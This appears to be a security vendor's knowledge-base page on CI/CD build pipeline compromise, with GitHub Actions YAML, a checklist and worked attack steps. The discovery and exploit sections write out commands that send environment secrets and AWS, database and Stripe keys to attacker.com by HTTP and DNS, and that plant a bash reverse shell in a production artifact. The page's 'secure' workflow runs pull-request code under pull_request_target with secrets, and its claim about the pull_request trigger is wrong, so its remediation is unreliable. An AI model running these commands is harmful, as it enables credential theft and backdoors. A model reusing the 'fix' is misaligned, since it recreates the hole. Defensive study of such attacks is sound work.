Build Pipeline Compromise

CI/CD SecurityPipeline AttackBuild System Compromise

Build Pipeline Compromise at a glance

What it is: Security vulnerabilities in CI/CD pipelines that allow attackers to inject malicious code during the build process, compromise build artifacts, or steal secrets from the build environment.
Why it happens: Build pipeline compromises occur when CI/CD systems have weak authentication, overprivileged accounts, unverified dependencies or plugins, exposed secrets, unsigned artifacts, or poorly isolated build environments.
How to fix: Secure pipelines with authenticated triggers, managed secrets, signed artifacts, and least-privilege permissions to prevent unauthorized or tampered builds.

Overview

CI/CD pipelines automate the build, test, and deployment process, but they also represent a high-value target for attackers. A compromised build pipeline can inject malicious code that affects every user of the application, making it a critical supply chain attack vector.

Common build pipeline vulnerabilities include insufficient authentication on pipeline triggers, secrets exposed in build logs or environment variables, overly permissive pipeline permissions, unverified third-party build actions/plugins, dependency confusion attacks during build, missing artifact signing and verification, and public access to build configurations revealing infrastructure details.

sequenceDiagram participant Attacker participant PR as Pull Request participant CI as CI/CD Pipeline participant Secrets as Secret Store participant Logs Attacker->>PR: Submit PR with malicious workflow PR->>CI: Trigger build (no approval required) CI->>Secrets: Load production secrets CI->>CI: Run malicious script: echo $AWS_SECRET CI->>Logs: Write secrets to build logs Attacker->>Logs: Read build logs Attacker->>Attacker: Stolen production credentials Note over CI: Missing: PR approval for workflow changes<br/>Missing: Secret masking in logs
A potential flow for a Build Pipeline Compromise exploit

Where it occurs

Build pipeline compromises occur in CI/CD environments with weak authentication, overprivileged service accounts, unverified dependencies or plugins, exposed secrets, or missing artifact signing and network isolation.

Impact

Build pipeline compromises lead to malicious code injection affecting all users, backdoor insertion in production applications, secret theft (API keys, cloud credentials, database passwords), supply chain attacks at scale, intellectual property theft through source code access, and difficult-to-detect persistent compromises.

Prevention

Prevent supply chain compromise by enforcing authenticated, least-privilege pipeline triggers, using short-lived secrets in secure vaults, pinning and vetting third-party actions, signing and attesting artifacts, isolating builds, scanning configs, and auditing all changes.

Examples

Switch tabs to view language/framework variants.

GitHub Actions workflow exposes secrets to external PRs

Workflow uses pull_request trigger with access to secrets.

Vulnerable
YAML • GitHub Actions — Bad
name: Build
on:
  pull_request:  # BUG: Runs on external PRs
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: npm run build
        env:
          AWS_SECRET: ${{ secrets.AWS_SECRET }}  # Exposed!
  • Line 2: pull_request trigger allows external access

pull_request trigger gives external contributors access to secrets.

Secure
YAML • GitHub Actions — Good
name: Build
on:
  pull_request_target:  # Runs in base context
jobs:
  build:
    runs-on: ubuntu-latest
    environment:
      name: review  # Requires approval
    steps:
      - uses: actions/checkout@v2
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install
      - run: npm run build
        env:
          AWS_SECRET: ${{ secrets.AWS_SECRET }}
  • Line 2: pull_request_target with approval
  • Line 7: Environment protection

Use pull_request_target and require approval through environment protection.

Engineer Checklist

  • Require authentication and approval for pipeline triggers

  • Restrict external PR access to secrets

  • Use secret management systems (Vault, GitHub Secrets)

  • Never commit secrets to version control

  • Mask secrets in build logs automatically

  • Implement least privilege for build service accounts

  • Vet and pin third-party build actions/plugins

  • Sign build artifacts (cosign, sigstore)

  • Verify artifact signatures before deployment

  • Use isolated, ephemeral build environments

  • Implement audit logging for pipeline changes

  • Use dependency lock files and verify checksums

  • Segment build networks from production

  • Rotate build secrets regularly

  • Scan pipeline configs for exposed secrets

  • Implement SLSA framework for supply chain security

End-to-End Example

A CI/CD pipeline allows external pull requests to trigger builds with access to production secrets, enabling attackers to exfiltrate credentials.

Vulnerable
YAML
# Vulnerable GitHub Actions workflow
name: Build
on:
  pull_request: # Runs on all PRs including external
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: npm run build
        env:
          AWS_SECRET: ${{ secrets.AWS_SECRET }} # Exposed to external PRs!
Secure
YAML
# Secure GitHub Actions workflow
name: Build
on:
  pull_request_target: # Runs in base context, not PR context
jobs:
  build:
    runs-on: ubuntu-latest
    # Require approval for external contributors
    environment:
      name: review
    steps:
      - uses: actions/checkout@v2
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install
      - run: npm run build
        env:
          AWS_SECRET: ${{ secrets.AWS_SECRET }}
    # Secrets only available after approval

Discovery

Review pipeline configurations for external trigger access to secrets. Test by submitting PRs that attempt to echo secrets to build logs.

  1. 1. Audit workflow trigger configuration

    config

    Action

    Examine .github/workflows/*.yml files for dangerous 'on: pull_request' + secrets combination: on: pull_request: # Runs untrusted PR code! env: AWS_KEY: ${{ secrets.AWS_SECRET }} steps: - run: npm test

    Expected Result

    Multiple workflows grant external PRs access to production secrets including AWS_SECRET, DATABASE_URL, STRIPE_KEY

    Artifacts

    insecure_triggers secret_exposure_risk workflow_misconfig
  2. 2. Test secret exfiltration via PR

    ci_cd

    Action

    Fork repository, add malicious workflow step 'run: env | curl -X POST https://attacker.com -d @-', submit PR

    Expected Result

    CI runs modified workflow, build logs show secrets were accessed (even if masked, timing confirms presence)

    Artifacts

    workflow_execution secret_access_confirmed ci_compromise
  3. 3. Check artifact upload permissions

    ci_cd

    Action

    Submit PR adding: 'uses: actions/upload-artifact@v3 with: {name: secrets, path: /home/runner/.env}'

    Expected Result

    Build artifact 'secrets.zip' downloadable publicly, contains environment file with AWS credentials

    Artifacts

    public_artifacts credential_leak downloadable_secrets

Exploit steps

Attacker submits a pull request with a modified workflow file that exfiltrates secrets through build logs, DNS queries, or HTTP requests to attacker-controlled servers.

  1. 1. Steal AWS credentials via workflow modification

    config

    Action

    Create PR modifying .github/workflows/test.yml to add exfiltration step: - name: Run tests run: | echo "Running tests..." curl -X POST https://attacker.com/leak \ -d "aws_key=${{ secrets.AWS_ACCESS_KEY_ID }}" \ -d "aws_secret=${{ secrets.AWS_SECRET_ACCESS_KEY }}" \ -d "db=${{ secrets.DATABASE_URL }}"

    Response

    GitHub Actions runs modified workflow. Attacker's server receives: AWS_ACCESS_KEY_ID=AKIA..., AWS_SECRET_ACCESS_KEY=wJalr..., DATABASE_URL=postgresql://prod:pass@db.internal

    Artifacts

    aws_credentials database_url production_keys cloud_access
  2. 2. Exfiltrate via DNS subdomain encoding

    ci_cd

    Action

    Add workflow step that encodes secrets in DNS queries to bypass egress filtering: - run: | SECRET=$(echo ${{ secrets.STRIPE_SECRET_KEY }} | base64) nslookup ${SECRET}.exfil.attacker.com

    Response

    DNS query observed: c2tfdGVzdF80SHh...Lm5jb20.exfil.attacker.com, which decodes to sk_test_4Hx...ncom (Stripe secret key)

    Artifacts

    stripe_key dns_tunnel payment_gateway_access
  3. 3. Plant backdoor in production deployment

    ci_cd

    Action

    Modify build workflow to inject reverse shell into deployment artifact: - name: Build production run: | npm run build echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> dist/health.sh chmod +x dist/health.sh

    Response

    Backdoored artifact deployed to production. Attacker gains reverse shell on prod servers at next health check execution.

    Artifacts

    backdoored_binary reverse_shell production_compromise persistent_access

Specific Impact

Theft of production credentials including cloud access keys, database passwords, and API tokens, leading to complete infrastructure compromise.

Fix

Use pull_request_target instead of pull_request for workflows needing secrets. Require approval for external contributors through environment protection rules. Restrict secret access to trusted workflows. Implement secret masking in logs.

Detect This Vulnerability in Your Code

Sourcery automatically identifies build pipeline compromise vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free